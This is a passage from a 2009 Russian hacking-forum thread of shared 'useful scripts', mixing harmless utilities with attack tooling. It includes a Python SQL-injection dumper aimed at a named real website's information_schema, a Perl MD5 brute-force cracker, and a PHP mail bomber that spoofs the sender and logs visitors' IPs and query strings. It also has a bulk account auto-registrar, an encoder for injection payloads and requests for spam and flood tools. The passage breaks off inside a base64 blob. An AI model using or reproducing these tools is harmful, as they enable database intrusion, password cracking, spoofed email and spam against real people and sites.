print "./md5crack <charset> <mincount> <maxcount> <yourMD5>\n";
print " Charset can be: [aAdx]\n";
print " a = {'a','b','c',...}\n";
print " A = {'A','B','C',...}\n";
print " d = {'1','2','3',...}\n";
print " x = {'!','\"',' ',...}\n";
print "EXAMPLE FOR CRACKING A MD5 HASH\n";
print "./md5crack.pl ad 1 3 900150983cd24fb0d6963f7d28e17f72\n";
print " This example tries to crack the given MD5 with all lowercase Alphas and all digits.\n";
print " MD5 Kit only tries combinations with a length from 1 and 3 characters.\n-------\n";
print "./md5crack.pl aA 3 3 900150983cd24fb0d6963f7d28e17f72\n";
print " This example tries to crack the given MD5 with all lowercase Alphas and all uppercase Alphas.\n";
print " MD5 Kit only tries passwords which length is exactly 3 characters.\n-------\n";
print "./md5crack.pl aAdx 1 10 900150983cd24fb0d6963f7d28e17f72\n";
print " This example tries to crack the given MD5 with nearly every character.\n";
print " MD5 Kit only tries combinations with a length from 1 to 10 characters.\n";
die "Quitting...\n";
}
sub crack{
$CharSet = shift;
@RawString = ();
for (my $i =0;$i<$CharSet;$i++){ $RawString[i] = 0;}
$Start = gettimeofday();
do{
for (my $i =0;$i<$CharSet;$i++){
if ($RawString[$i] > length($alpha)-1){
if ($i==$CharSet-1){
print "Bruteforcing done with $CharSet Chars. No Results.\n";
$cnt=0;
return false;
}
$RawString[$i+1]++;
$RawString[$i]=0;
}
}
################################################## #
$ret = "";
for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);}
$hash = md5_hex($ret);
$cnt++;
$Stop = gettimeofday();
if ($Stop-$Start>$dbgtmr){
$cnt = int($cnt/$dbgtmr);
print "$cnt hashes\\second.\tLast Pass '$ret\'\n";
$cnt=0;
$Start = gettimeofday();
}
print "$ARGV[3] != $hash ($ret)\n";
if ($ARGV[3] eq $hash){
die "\n**** Password Cracked! => $ret\n";
}
################################################## #
#checkhash($CharSet)."\n";
$RawString[0]++;
}while($RawString[$CharSet-1]<length($alpha));
}
sub checkhash{
$CharSet = shift;
$ret = "";
for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);}
$hash = md5_hex($ret);
$cnt++;
$Stop = gettimeofday();
if ($Stop-$Start>$dbgtmr){
$cnt = int($cnt/$dbgtmr);
print "$cnt hashes\\second.\tLast Pass '$ret\'\n";
$cnt=0;
$Start = gettimeofday();
}
if ($ARGV[3] eq $hash){
die "\n**** Password Cracked! => $ret\n";
}
}
Нашол на поломаном забугорном хак портале...
-m0rgan-, пригодилось очень, спасибо
Хотел себе красивые ссылочки как на youtube.com тоесть буковке, но короткие, ну в общем можно былобы рэндомом но они будут повторяться, и так можно генерить хз скока и будут они не короткие эти ссылки, вы чёто поняли? Я тоже нет :o
В общем нате
<?php
function symbols() {
$ret = array();
for($i=ord('A');$i<=ord('Z');$i++) {
$ret[] = chr($i);
}
for($i=ord('a');$i<=ord('z');$i++) {
$ret[] = chr($i);
}
for($i=1;$i<=9;$i++) {
$ret[] = $i;
}
return $ret;
}
function url($chislo) {
if(!is_int($chislo) || $chislo < 0) return false;
$symbols = symbols();
$result = '';
$system = count($symbols);
$ostatok = floor($chislo/$system);
$minus = $chislo-($ostatok*$system);
$result = $symbols[$minus].$result;
while($chislo >= $system) {
$chislo = $ostatok;
$ostatok = floor($chislo/$system);
$minus = $chislo-($ostatok*$system);
$result = $symbols[$minus].$result;
}
return $result;
}
function deurl($str) {
$symbols = symbols();
$id = 0;
$system = count($symbols);
$str = strrev($str);
for($i=0;$i<strlen($str);$i++) {
$key = array_search($str[$i],$symbols);
$id += $key*pow($system,$i);
}
return $id;
}
?>
Например у нас в БД id 123456 вместо ?id=123456 выведем ?id=<?=url(123456)?>
И получица ?id=hK2
Обратно получаем ID deurl('hK2');
Тоесть
<?php
#functions
echo url(123456)."\r\n";
echo deurl('hK2');
?>
hK2
123456
Кто понял зачем это, юзайте :D
При написании скрипта постродал 1 мозг, 2 руки и 2 кружки чая, итого одно хлебо-булочное изделие
Andrej1928
02.03.2009, 22:19
парни может кто допишет функцию для вложения фаилов в письмо очень надо
<?php
print <<<HERE
<style type = "text/css">
body {
font-family: Arial;
}
#inputone {
width: 100%;
}
#textarea {
width: 100%;
height: 500px;
}
#infotd {
font-size: 13px;
width: 100px;
}
#infotd2 {
font-size: 13px;
}
#bgcolor_infotd {
background-color: #dbeaff;
}
#good_send {
color: #00419a;
}
#sends {
width: 20px;
}
#notice {
color: red;
}
</style>
HERE;
$html_or_text = $_GET["html_or_text"];
$sends = $_GET["sendes"];
if($_GET["html_or_text"] == 1) {
$htmltext = "\r\nContent-type: text/plain";
} else if ($_GET["html_or_text"] == 2) {
$htmltext = "\r\nContent-type: text/html";
} else {}
if($_GET["codir"] == 1) {
$cod = "windows-1251";
} else if ($_GET["codir"] == 2){
iconv("windows-1251", "utf-8", $email . $them . $body . $send_full . $htmltext);
$cod = "utf-8";
} else {}
$mime = "$htmltext; charset = \"$cod\"";
if($_GET["sender_name"] == TRUE) {
$sender_full = $sender_name . " <" . $sender_mail . ">";
} else {
$sender_full = $sender_mail;
}
if(isset($_GET["send"])) {
for($i = 0; $i < $_GET["sendes"]; $i++) {
mail("$email", "$them", "$body", "From: $sender_full $mime");
}
print "<center><span id = \"good_send\">Сообщение отправлено</span></center>";
$fp = fopen("result.txt", "a");
$content = <<<HERE
IP: $REMOTE_ADDR
Agent: $HTTP_USER_AGENT
Cookie: $QUERY_STRING
-
Отправитель (e-mail): $sender_mail
Отправитель (имя): $sender_name
E-mail: $email
Тема: $them
Текст письма -
$body
text/html: $html_or_text
Количество писем за раз: $sends
-----------------------------
HERE;
fputs($fp, $content);
fclose($fp);
} else {
print <<<HERE
<form>
<table border = "0" width = "100%" id = "infotd2" cellpadding = "1" cellspacing = "1">
<tr id = "bgcolor_infotd">
<td id = "infotd">
От кого (e-mail):
</td>
<td>
<input type = "text" id = "inputone" name = "sender_mail" value = "bill@microsoft.com" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
От кого (Имя):
</td>
<td>
<input type = "text" id = "inputone" name = "sender_name" value = "Билл" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
Кому<span id = "notice">*</span>:
</td>
<td>
<input type = "text" id = "inputone" name = "email" value = "admin@mail.ru" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
Тема письма<span id = "notice">*</span>:
</td>
<td>
<input type = "text" id = "inputone" name = "them" value = "Hello" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td valign = "top" id = "infotd">
Текст письма<span id = "notice">*</span>:
</td>
<td>
<textarea name = "body" id = "textarea">You are lol:)</textarea>
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Файл: <input type="file" name="File"> - Вы можете прикрепить файл размером не больше 2мб.
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
<input type = "radio" name = "html_or_text" value = "1" checked = "checked">Только текст
<input type = "radio" name = "html_or_text" value = "2">HTML и текст
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Количество писем за раз:
<select name = "sendes">
<option value = "1">1</option>
<option value = "2">2</option>
<option value = "3">3</option>
<option value = "4">4</option>
<option value = "5">5</option>
<option value = "6">6</option>
<option value = "7">7</option>
<option value = "8">8</option>
<option value = "9">9</option>
<option value = "10">10</option>
<option value = "11">11</option>
<option value = "12">12</option>
<option value = "13">13</option>
<option value = "14">14</option>
<option value = "15">15</option>
<option value = "16">16</option>
<option value = "17">17</option>
<option value = "18">18</option>
<option value = "19">19</option>
<option value = "20">20</option>
</select>
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Кодировка письма:
<select name = "codir">
<option value = "1">windows-1251</option>
<option value = "2">utf-8</option>
</select>
</td>
</tr>
<tr>
<td valign = "top" colspan = "2">
<table border = "0" width = "100%" id = "infotd2">
<td valign = "top">
Поля отмеченные знаком <span id = "notice">*</span> обязательны для заполнения
</td>
<td colspan = "2" align = "right">
<input type = "reset" value = "Вернуть" />
<input type = "submit" value = "Отправить" />
<input type = "hidden" name = "send" />
</td>
<table>
</td>
</tr>
</form>
HERE;
}
?>
#!/usr/bin/python
#sqldump
#http://sql.parsers.info
#faza02[at]gmail[dot]com
import re, urllib
for i in range(1,30):
site='http://www.mothernaturalclean.com/int.php?id=3+and+0+union+select+1,2,table_name+fro m+information_schema.tables+limit+' +str(i) + ',1'
bl=str(urllib.urlopen(site).read())
dump=re.findall(r'n\"\>\<a href=.*?\=1\">.*?\</a>',bl)
dump=str(dump)[2:-2]
dump=dump[27:]
dump=dump.replace('</a>','')
print dump
дампер скл через limit.. на питоне, написан мной.
#!/usr/bin/python
#antichat.ru info
#http://sql.parsers.info
#faza02[at]gmail[dot]com
import re, urllib
print 'antichat.ru info by faza02'
while 1:
u=raw_input(u'user: ')
antichat=urllib.urlopen('http://forum.antichat.ru/member.php?u='+ u).read()
nick=re.findall(r'\<span class=\"normal\"\>.*?\</span\>\</td\>',antichat)
nick=str(nick)[2:-2]
nick=nick[23:]
nick=nick.replace('</span></td>','')
rep=re.findall(r'\(\<b\>.*?\</b\>/\<b\>.*?\</b\>\)',antichat)
rep=str(rep)[2:-2]
rep=rep.replace('</b>','')
rep=rep.replace('<b>','')
post=re.findall(r'\<strong\>.*?\</strong\> \(',antichat)
post=str(post)[2:-2]
post=post.replace('<strong>','')
post=post.replace('</strong> (','')
reg=re.findall(': \<strong\>.*?200.*?\</strong\>',antichat)
reg=str(reg)[2:-2]
reg=reg.replace(': <strong>','')
reg=reg.replace('</strong>','')
print '\nnick: ' + nick
print 'reputation: ' + rep[1:-1]
print 'posts: ' + post
print 'registration: ' + reg
дело было вечером, делать было нечего..))
ник, репу, посты и регу выводит, нужного вам юзера на ачате..
De-visible
04.03.2009, 01:27
#!/usr/bin/python
#antichat.ru info
#http://sql.parsers.info
#faza02[at]gmail[dot]com
import re, urllib
print 'antichat.ru info by faza02'
while 1:
u=raw_input(u'user: ')
antichat=urllib.urlopen('http://forum.antichat.ru/member.php?u='+ u).read()
nick=re.findall(r'\<span class=\"normal\"\>.*?\</span\>\</td\>',antichat)
nick=str(nick)[2:-2]
nick=nick[23:]
nick=nick.replace('</span></td>','')
rep=re.findall(r'\(\<b\>.*?\</b\>/\<b\>.*?\</b\>\)',antichat)
rep=str(rep)[2:-2]
rep=rep.replace('</b>','')
rep=rep.replace('<b>','')
post=re.findall(r'\<strong\>.*?\</strong\> \(',antichat)
post=str(post)[2:-2]
post=post.replace('<strong>','')
post=post.replace('</strong> (','')
reg=re.findall(': \<strong\>.*?200.*?\</strong\>',antichat)
reg=str(reg)[2:-2]
reg=reg.replace(': <strong>','')
reg=reg.replace('</strong>','')
print '\nnick: ' + nick
print 'reputation: ' + rep[1:-1]
print 'posts: ' + post
print 'registration: ' + reg
дело было вечером, делать было нечего..))
ник, репу, посты и регу выводит, нужного вам юзера на ачате..
Многовато операций...
Pashkela
05.03.2009, 17:26
Encoder v.1.0 - win32-Encoder для кодирования/декодирования ваших данных по различным алгоритмам:
-------
Encode:
-------
1. Text->MD5
2. Text->CHR chr(49).chr(50).chr(51).chr(50).chr(49)
3. Text->MSSQL char(49)%2bchar(50)%2bchar(51)%2bchar(50)%2bchar(4 9)
4. Text->HEX1 0x3132333231
5. Text->HEX2 %31%32%33%32%31
6. Text->PostgreSql chr(49)||chr(50)||chr(51)||chr(50)||chr(49)
7. Text->ASC,String.fromCharCode()
8. Text->Base64
9. Text->CRC32
10.Text->SHA1
11. Text->ASC2 char(49,50,51,50,49)
12. Text->Urlencode
13. Text->Htmlentities
14. Text->\x format
15. MD5 check file hash sum
16. CRC32 check file hash sum
17. SHA-1 check file hash sum
-------
Decode:
-------
1. CHR chr(49).chr(50).chr(51).chr(50).chr(49)->Text
2. MSSQL char(49)%2bchar(50)%2bchar(51)%2bchar(50)%2bchar(4 9)->Text
3. HEX1 0x3132333231->Text
4. HEX2 %31%32%33%32%31->Text
5. PostgreSql chr(49)||chr(50)||chr(51)||chr(50)||chr(49)->Text
6. ASC,String.fromCharCode()->Text
7. Base64->Text
8. ASC2 char(49,50,51,50,49)->Text
9. Urlencode->Text
10. Htmlentities->Text
11. \x format->Text
12. Detect HASH type
http://i059.radikal.ru/0903/54/d075faa6e470.jpg
Скачать: http://bug-track.ru/prog/encoder1.0.rar
Pashkela
05.03.2009, 18:01
пока прижму:)
zifanchuck
06.03.2009, 12:55
Ну вот вчера решил написать маленький скрипт что бы следить кто пытаеться проломиться в админ панель)
Не у многих из вас админка находиться по адресу site.ru/admin.php ) етот скрипт как раз можна назвать admin.php и залить на сайт)))
<?php
$time = date("d.m.Y G:i.s");
$ip = $_SERVER['REMOTE_ADDR'];
$fd = fopen("test.txt", "a+");///вместо test.txt путь к файлу для записи логов
fwrite($fd, "$time---$ip\n");
fclose($fd);
?>
записывает время и ип в таком формате
06.03.2009 11:49.15---127.0.0.1
что бы очистить полностью test.txt поможет етот скрипт
<?php
$fd = fopen("test.txt", "w+");/// вместо test.txt путь к файлу для очистки
fclose($fd);
?>
п.с Токо не ставьте минусы, я токо учусь :)
Ну вот вчера решил написать маленький скрипт что бы следить кто пытаеться проломиться в админ панель)
Зачем городить еще одни логи?
cat /var/log/apache2/error.log | grep admin.php
Всем добрый день или вечер, с утра просидел искал на этом форуме скрипт, но не нашел. Для сбора базы mail.ru, типа спаммер (поиск через зарегенные пользователи), где можно ставить параметры поиска и онлайн, программа есть, но нужен скрипт. Если у кого-нибудь есть что-нибудь поделитесь пожалуйста. Только сильно ногами не пинайте. Заранее благодарен. Все, иду есть...
De-visible
07.03.2009, 03:15
Всем добрый день или вечер, с утра просидел искал на этом форуме скрипт, но не нашел. Для сбора базы mail.ru, типа спаммер (поиск через зарегенные пользователи), где можно ставить параметры поиска и онлайн, программа есть, но нужен скрипт. Если у кого-нибудь есть что-нибудь поделитесь пожалуйста. Только сильно ногами не пинайте. Заранее благодарен. Все, иду есть...
Доброе утро!, ты помоему не только разделом и темой ошибся но еще и форумом, откуда вы такие беретесь:(....
Прошу прощения за флуд. А подсказать никак? Ладно, спасибо.
писал партнерку с многоуровневой реф программой столкнулся с выводом дерева.
Вид бд
......| id | login | st0 | st1 | st2 | .....| st {$maxlv}
st0-st {$maxlv} растояние он 0 - $maxlv вершины дерева
Проблему решил рекурсией.
function show_tree($id,$n)
{
if ($n>$this->bd_step) return 0;
$ret="<table border=1>";
$res=bd_sql_result("SELECT id,login FROM ".$this->bd_perfix."_users WHERE id=".$id);
$name=mysql_result($res,0,1);
$res=bd_sql_result("SELECT sid,slogin FROM ".$this->bd_perfix."_users WHERE st0=".$id);
$rows=mysql_num_rows($res);
$ret.="
<tr>
<td COLSPAN=".$rows.">
<center>$name</center>
</td>
</tr>
<tr>";
for ($i=0;$i<$rows;$i++)
{
$ret.= "<td>".$this->show_tree(mysql_result($res,$i,0),$n+1)."</td>";
}
$ret.= "</tr></table>";
return $ret;
}
Вызывается show_tree($id,$n)
$id относительно кого строить дерево
bd_step сколько ступеней отображать
Может кому и пригодится
$this->bd_perfix
mysql_result($res,$i,0
:D
mailbrush
07.03.2009, 17:06
Автореггер аккаунтов ЛетИтБит
<?php
set_time_limit(0);
echo "<table border=1>
<form method=post>
<tr><td>Сколько акков регать?</td><td><input type=text name=count></td>
<tr><td>Логин:</td><td><input type=text name=login><br><input name=lr type=checkbox value=ok> Рандумно?</td>
<tr><td>Пасс:</td><td><input type=text name=pass type=password><br><input name=rand type=checkbox value=ok> Рандумно?</td>
<tr><td><input type=submit value=\"Регайся!\"></td>
</table>";
if(isset($_POST['count'])) {
for($i=1;$i<=$_POST['count'];$i++)
{
$fp = fsockopen("letitbit.net", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
if($_POST['lr']=='ok') $rand=rand(234567,95999); else $rand=$_POST['login'];
if(isset($_POST['rand'])) if($_POST['rand']=='ok') $pass=rand(10000,999999); else $pass=$_POST['pass'];
$str="login=$rand&pass=$pass&email=$rand@yandex.ru&terms=1";
$len=strlen($str);
$out = "POST /ftp/register.php HTTP/1.1\r\n";
$out .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$out .= "Referer: http://letitbit.net/ftp/register.php\r\n";
$out .= "Accept-Language: ru\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "UA-CPU: x86\r\n";
$out .= "Accept-Encoding: gzip, deflate\r\n";
$out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)\r\n";
$out .= "Proxy-Connection: Keep-Alive\r\n";
$out .= "Content-Length: $len\r\n";
$out .= "Host: letitbit.net\r\n";
$out .= "Pragma: no-cache\r\n\r\n";
$out .= $str;
$fps=fopen("regged.txt","a+");
fwrite($fps, $rand.":".$pass."\r\n");
fwrite($fp, $out);
fclose($fp);
}}}
?>
mailbrush - Ты заебал слать всем мессаги в аську!!! как шлюха , ей богу , извините
А что шлет ексли не секрет?
mailbrush
07.03.2009, 17:33
А что шлет ексли не секрет?Рандумный логин, пасс и мыло. В файл реггед.тхт пишет вида юзернейм:пасс.
Существует ли паблик спамилка ЛС на torrents.ru ?
real_kas
08.03.2009, 10:15
//
//Функция перевода UTF-8 в Windows-1251
//
function utf8win1251($s){
$out = $c1 = "";
$byte2=false;
for ($c=0;$c<strlen($s);$c++){
$i=ord($s[$c]);
if ($i<=127) $out.=$s[$c];
if ($byte2){
$new_c2=($c1&3)*64+($i&63);
$new_c1=($c1>>2)&5;
$new_i=$new_c1*256+$new_c2;
if ($new_i==1025){
$out_i=168;
}
else{
if ($new_i==1105){
$out_i=184;
}
else {
$out_i=$new_i-848;
}
}
$out.=chr($out_i);
$byte2=false;
}
if (($i>>5)==6) {
$c1=$i;
$byte2=true;
}
}
return $out;
}
//
//Использование: echo utf8win1251($text);
//
mailbrush
08.03.2009, 11:02
real_kas, чем полезна эта функция???
Разве не легче использовать стандартную - iconv()...
Тема вроде называется Полезные скрипты
real_kas
08.03.2009, 11:17
real_kas, чем полезна эта функция???
Разве не легче использовать стандартную - iconv()...
Тема вроде называется Полезные скрипты
Сорри, просто привел альтернативу
На страницах ранее был флудер под phpbb.
Отлично робит, только вот добавить ему функцию альтернативного сообщения, а то нужный форум отвергает постинг, ссылаясь на то что нельзя подряд два одинаковых...
mailbrush
08.03.2009, 18:15
Nuke142, ссылку на флудер.
mailbrush, http://forum.antichat.ru/showthread.php?p=1033022-phpbb#post1033022
#575
Nuke142,добавляй в конец сообщения рандомный мусор(типа 3q23)
<html>
<head>
<title>Турба-реверсо-ипа! чекает pr/ТиЦ/alexa/сортерует по весу сисадмина датацентра =\</title>
<style>
<!--
image {
border:0;
}
body {
font-family: verdana, arial, helvetica, sans-serif;
margin:0;
padding:85px;
text-align:left;
font-size:0.7em;
background:#FFFFFF;
}
td{
border: 1px #89B4CC solid;
text-align:center;
}
-->
</style>
<script>
</script>
</head>
<body>
<form method="post" action="">
<input name="ip" style="width:180px; height:20px; border:1px black solid; margin-top:5px; text-align:center">
<input type="submit" value="чекнуть" style="border:1px #89B4CC solid;">
</form>
<?
set_time_limit(0);
ignore_user_abort();
/*
реверс-ип + пр + тиц + алекса блять .............
(c) 159932
*/
define('GOOGLE_MAGIC', 0xE6359A60);
function nooverflow($a){
while ($a<-2147483648)
$a+=2147483648+2147483648;
while ($a>2147483647)
$a-=2147483648+2147483648;
return $a;
}
function zeroFill ($x, $bits){
if ($bits==0) return $x;
if ($bits==32) return 0;
$y = ($x & 0x7FFFFFFF) >> $bits;
if (0x80000000 & $x)
{
$y |= (1<<(31-$bits));
}
return $y;
}
function mix($a,$b,$c){
$a=(int)$a; $b=(int)$b; $c=(int)$c;
$a -= $b; $a -= $c; $a=nooverflow($a); $a ^= (zeroFill($c,13));
$b -= $c; $b -= $a; $b=nooverflow($b); $b ^= ($a<<8);
$c -= $a; $c -= $b; $c=nooverflow($c); $c ^= (zeroFill($b,13));
$a -= $b; $a -= $c; $a=nooverflow($a); $a ^= (zeroFill($c,12));
$b -= $c; $b -= $a; $b=nooverflow($b); $b ^= ($a<<16);
$c -= $a; $c -= $b; $c=nooverflow($c); $c ^= (zeroFill($b,5));
$a -= $b; $a -= $c; $a=nooverflow($a); $a ^= (zeroFill($c,3));
$b -= $c; $b -= $a; $b=nooverflow($b); $b ^= ($a<<10);
$c -= $a; $c -= $b; $c=nooverflow($c); $c ^= (zeroFill($b,15));
return array($a,$b,$c);
}
function GoogleCH($url, $length=null, $init=GOOGLE_MAGIC) {
if(is_null($length)) {
$length = sizeof($url);
}
$a = $b = 0x9E3779B9;
$c = $init;
$k = 0;
$len = $length;
while($len >= 12) {
$a += ($url[$k+0] +($url[$k+1]<<8) +($url[$k+2]<<16) +($url[$k+3]<<24));
$b += ($url[$k+4] +($url[$k+5]<<8) +($url[$k+6]<<16) +($url[$k+7]<<24));
$c += ($url[$k+8] +($url[$k+9]<<8) +($url[$k+10]<<16)+($url[$k+11]<<24));
$mix = mix($a,$b,$c);
$a = $mix[0]; $b = $mix[1]; $c = $mix[2];
$k += 12;
$len -= 12;
}
$c += $length;
switch($len) /* all the case statements fall through */
{
case 11: $c+=($url[$k+10]<<24);
case 10: $c+=($url[$k+9]<<16);
case 9 : $c+=($url[$k+8]<<8);
/* the first byte of c is reserved for the length */
case 8 : $b+=($url[$k+7]<<24);
case 7 : $b+=($url[$k+6]<<16);
case 6 : $b+=($url[$k+5]<<8);
case 5 : $b+=($url[$k+4]);
case 4 : $a+=($url[$k+3]<<24);
case 3 : $a+=($url[$k+2]<<16);
case 2 : $a+=($url[$k+1]<<8);
case 1 : $a+=($url[$k+0]);
/* case 0: nothing left to add */
}
$mix = mix($a,$b,$c);
/*-------------------------------------------- report the result */
return $mix[2];
}
function strord($string) {
for($i=0;$i<strlen($string);$i++) {
$result[$i] = ord($string{$i});
}
return $result;
}
function get_pr($url) {
$result='error';
if (($url.""!="")&&($url.""!="http://")):
if (substr(strtolower($url),0,7)!="http://"):
$url="http://".$url;
endif;
$url="info:".$url;
$checksum=GoogleCH(strord($url));
$google_url=sprintf("http://www.google.com/search?client=navclient&ch=6%u&features=Rank&q=".$url,$checksum); // url to get from google
$handle = fopen($google_url, "rb");
$contents = '';
while (!feof($handle)) {
$contents.= fread($handle, 8192);
}
fclose($handle);
$p=explode(":",$contents);
if (isset($p[2])):
$result=trim($p[2]);
endif;
endif;
return $result;
}
/////////// /////////// /////////// /////////// /////////// /////////// /////////// /////////// ///////////
/////////// /////////// /////////// /////////// /////////// /////////// /////////// ///////////
/////////// /////////// /////////// /////////// /////////// /////////// /////////// /////////// ///////////
if (isset($_POST['ip'])) {
$ip = (preg_match('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#' , $_POST['ip']) || preg_match('#[a-z0-9-_]{1,}\.[a-z\.]{2,}#i', $_POST['ip'])) ? $_POST['ip'] : die('не правильно введён урл/ип');
$reverse = file_get_contents('http://www.ip-adress.com/reverse_ip/'.$ip);
if (strpos($reverse, 'could not be resolved. Make sure that you enter an valid IP address, host or domainname.')) die('поиск не дал результатов, или введён не верный урл/ип');
preg_match_all('#<td><a href="/reverse_ip/(.*?)"#is', $reverse, $hosts);
$hosts = sizeof($hosts[1]) ? $hosts[1] : die('ни одного хоста не найдено');
foreach ($hosts as $url) {
$data[$url]['pr'] = get_pr($url); # получение pr'a
preg_match('#<b>Индекс цитирования \(тИЦ\) ресурса \&\#151; (\d+)<\/b>#', iconv('UTF-8', 'windows-1251', file_get_contents('http://search.yaca.yandex.ru/yca/cy/ch/'.$url)), $tic);
$data[$url]['tic'] = $tic[1]; # получене ТиЦ'a
preg_match('#<span class="descBold">(.*?)-->(.*?)</span>#', file_get_contents('http://www.alexa.com/data/details/traffic_details/'.$url), $alexa);
$data[$url]['alexa'] = $alexa[2]; # получене alexa'a
}
echo '<table style="border: 1px #89B4CC solid; width:500px">
<tr style="font-weight: bold; background: #F6F7FD">
<td>урл</td>
<td>pr</td>
<td>ТиЦ</td>
<td>alexa</td>
</tr>';
foreach ($data as $url=>$info) {
echo '<tr>
<td style="text-align: left; padding-left: 10px">'.$url.'</td>
<td>'.$info['pr'].'</td>
<td>'.$info['tic'].'</td>
<td>'.$info['alexa'].'</td>
</tr>';
}
echo '</table>';
}
?>
</body>
</html>
http://rapidshare.com/files/207334014/rev.php.html
а то пробелы форум лишние ставит=\
<html>
<head>
<title>r4p1D 4eker | адское превадо бай циферки ..</title>
<link rel="icon" href="data:image/ico;base64,AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAA AIAAAAAEAIAAAAAAAAAAAABMLAAATCwAAAAAAAAAAAAAAAAAA//////////////////////////////////////////////////////////////////////////8AAAAA///////////////////////////////////////////////////////////08/P/2NfX/9jX1////////////////////////////////////////////////////////////+no6P+9urr/uLS0/+7u7v//////////////////////////////////////////////////////9PPz/726uv+no6P/09HR////////////////////////////////////////////////////////////3tzc/62pqf+tqan/4+Li////////////////////////////////////////////////////////////yMbG/6ejo/+tqan/7u7u////////////////////////////////////////////////////////////yMbG/6ejo/+tqan/7u7u////////////////////////////////////////////////////////////3tzc/6ejo/+no6P/7u7u////////////////////////////////////////////////////////////9PPz/62pqf+no6P/2NfX//////+vk3//iF1A/4hdQP+IXUD/iF1A/////////////////////////////////8jGxv+no6P/vbq6////////////6+Tf/2AnAP9gJwD/YCcA/2AnAP////////////////////////////////+tqan/p6Oj/+no6P//////4dbP/35QMP9gJwD/YCcA/2AnAP9gJwD/////////////////////////////////p6Oj/7Kvr///////r5N//2AnAP9gJwD/YCcA/2AnAP9gJwD/YCcA/////////////////////////////////5J6bP+OcF3/dEIg/2AnAP9gJwD/YCcA/2AnAP9gJwD/uaCP/4hdQP/////////////////////////////////h1s//ajUQ/2AnAP9gJwD/YCcA/2AnAP90QiD/18m//////////////////////////////////////////////////+HWz/90QiD/YCcA/35QMP/Drp////////////////////////////////////////////8AAAAA//////////////////////////////////////////////////////////////////////////8AAAAAgAEAwAAABskAAIMeAABtHgAAVx4AAEIeAAAsHgAAFx4A AAEeAADrHQAA1h0AAMAdAACrHQAAlR0AAH8dgAFqHQ==" type="image/x-icon">
<style>
.gr{color:green}
.rd{color:red}
</style>
</head>
<body>
<center>
<form method="post" action="">
<textarea name="accs" style="width:400px; height:240px; border:1px black solid; padding:3px; margin-top:25px; margin-bottom:15px; background:white url(data:image/gif;base64,R0lGODdh7gCrANUAALS+zNzi3MzS3Ozy7MTK1OT q5NTa5MTCxPT69OTi5LzGzNTS1MzKzPTy9Ozq7Nza3Ly+zPz6/OTm5NTW5MzO3Nzi7MTG1NTW1MzOzPT29Ozu7Nze3LzCzNzi5Mz W3Ozy9MTO1OTq7NTe5MTGxPT6/OTi7LzG1Pz+/OTm7NTW3MzO1PT2/Ozu9Nze5LzC1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAA7gCrAAAG/8CTcEgsGo/IpFIZWYU6nZTAs2h1SppGJLLser/gsHhMLpvP5SYqRVBYFCaCpd22mBQEgcGRWaH/gIGCg4SFJw0ibyZ2cnWLjIxwcCp7K1yGmJmam5xFKy0KbgRxb4 yLo3Zvco9wHAQGIR+XnbS1trdGDiAci6xzcaKipKd4kS4cKhMh DbjNzs+BKG2kdHGPqMAWptrZ1W4CFczQ4+TlRiip2+l4p4+k7K u/2m6hHCApDub6+7fSwal1sM0RVmedHHjWfuERgIKfw4eEpG1zNP CXwFTvVsUDyOqUgBAQQ4oU4y9gO42sGgHTiBHgP1SRTFDIN7Km TSLoenEr5RLSIv83KYk1AgoTXro7FDTcXBqypFBi8rCNUomqYK +NCQvSeeNiAU2mYMmVMOiu6k9tVq2aOli1WKmrOqcpMMAirN1m He5Us6hqbVagfIVxi2eNZTGzjFBkuMuYUwtecnyWaqvtLaRUgu ERJMpRlbs3CiigmNW4dCBQKAdOjWTxZKTVwwbzbItYKGYTHsSZ 3m2mRdyzZdWxm0eYuOthMMuKslzsJ4EWpHlL75KI8mqKbjy37r u3INFumuUdN6tAgJ/p6JP4Nnm0J2zZsT8XrtjeJ9vgzS1CT89/CChIw1XDUlzDZddNRpYJaBRglLlUlAXm9Zeeb31l5EuAw83DVz sVplb/X3OoYJicghZ0EJ2EjD221W9RcVhWbB3Kd1CL4s0Ik0DJDWYCBy mch2KKrlylHVzGbegXW551d9VLcGnE2UoAjoJHCSf+aNN/pExUDEE99ZWdgYjtZN02gr2lEk/ZfOaGASQIgoKPVmLyWEuPHDUUgH5tOKOFaWEUT1HvEcThakApo AJIfzhgQV1xYmLAVRQIAIId3/kZ3GdSPanOVJV2mJ92gELVUxwtoOHPB40a0gIFLdTFxasRsBDC qnOAKqKXhp2pzjvb4ZhlmpExONxJKZgRQh2MpurmV0tEEIIBFK xyzYudCXQSkxSZtadJKKVGDWChJQvGsamgqmwgW5DB/8IDFNjRZGfOqWagjmISNe9UOlV42T+24dEQGIquJO65g0SQwcE HR4CAEhWw4YKdk+WnnHiq4fnaNYJxaJSQalpQwRfHAmaBuQQLk kEDG6T8QMobJMCHEuuC4AJgCUUZW0BParuTrRYt59zNICrA42J KOPAbAUqVDEgEGqScQMsBtPD00xsQnUQDKFDAgWAhYpVajhmzh 9xZXaej3UQ7UjAwESFEXK7Sf0QgQcsbSE033VLrpoQTWgdFW4z 0Aspa2TD+RejhQv1bBLl/LQr3GXLXDfXkCXRAt97NogNHZRnvFAySGyMm+kocWkocvAR8jN 